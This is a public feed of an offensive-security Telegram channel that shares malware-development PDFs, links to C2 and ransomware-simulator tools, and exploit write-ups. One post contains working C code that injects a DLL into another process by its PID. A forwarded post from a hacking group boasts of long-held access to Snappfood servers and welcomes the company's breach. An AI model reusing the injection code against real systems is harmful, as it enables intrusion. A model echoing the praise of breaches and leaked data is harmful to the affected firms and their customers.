Source Byte – Telegram
Source Byte
7.76K subscribers
847 photos
73 videos
678 files
1.68K links
هشیار کسی باید کز عشق بپرهیزد
وین طبع که من دارم با عقل نیامیزد
Saadi Shirazi 187
Download Telegram
Lolbin Attack & Defense.pdf.pdf
2.6 MB
📘LOLBIN ATTACK & DEFENSE🛠

@islemolecule_source
#lolbin
#malware_dev
Shellcode_Dvlp.pdf
3.4 MB
"Shellcode Development", 2023

#shellcode
#malware_dev
@islemolecule_source
analyzing-decompiled-C++vtables-and-objects-in-GCC-binaries.pdf
973.6 KB
analyzing-decompiled-C++

#reverse

@islemolecule_source
PingRAT: secretly passes C2 traffic through firewalls using ICMP payloads

https://github.com/umutcamliyurt/PingRAT

#c2 ,#tool , #go
———
@islemolecule_source
PSRansom: a PowerShell Ransomware Simulator with C2 Server capabilities.

https://github.com/JoelGMSec/PSRansom

#c2 , #powershell , #simulat , #tool
———
@islemolecule_source
How to break bare metal firmware encryption (FortiGate firewalls) for security research.
Credits: Jon Williams (@bishopfox)

https://bishopfox.com/blog/breaking-fortinet-firmware-encryption

#firewall, #fortigate ,
———
@islemolecule_source
Detecting and decrypting Sliver C2 – a threat hunter’s guide

https://immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/

#c2 ,
———
@islemolecule_source
Course to get into Large Language Models (LLMs) with roadmaps and Colab notebooks.
credit: @maximelabonne

https://github.com/mlabonne/llm-course/tree/main

#LLM
———
@islemolecule_source
great burpsuite series by Meraj Heydari
credit : @meraj_heydari
language : persian

https://www.youtube.com/playlist?list=PL7ZQRFOOo39A0kV-GK-kFaX2jGA3PMz0-

#burpsuite ,
———
@islemolecule_source
exploiting a use-after-free in Linux kernel 5.15 (Ubuntu 22.04) (CVE-2022-32250)

credit: @saidelike

research.nccgroup.com/2022/0

#linux , #kernel , #analysis , #exploitation
__
@islemolecule_source
DLL Injection classic way
:)

1- address of the dll
2- allocate a buffer in target process
3- write dll address to that
4- create a thread to execute

int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");

printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);

return 0;
}
iredteam
#malware_dev

@islemolecule_source
DLL Injection via SetWindowsHookExA
Source


#malware_dev
@islemolecule_source
Unlinking Malicious DLLs from the PEB
Source

#malware_dev
@islemolecule_source
Forwarded from .....
We have already uploaded Cafe Bazar transactions on the channel. And if CafeBazaar did not provide strong documents, a disaster like the Snapp Food disaster was waiting for Cafe Bazaar. Therefore, the censored documents were removed from the channel.
But a few months ago, we informed Snapfood indirectly about the existence of vulnerabilities
Snapfood servers were vulnerable and we had access to jira.snappfood.ir and jira.snapp.ir,... for months and warned about them but they didn't pay attention.
In this post, we thank the elites of SnapFood
بهنام نصراللهی
مهدی شکری
سپهر رشادی

According to our and other people's warnings, we are happy about what happened to SnappFood!
📱@APTIRAN
Please open Telegram to view this post
VIEW IN TELEGRAM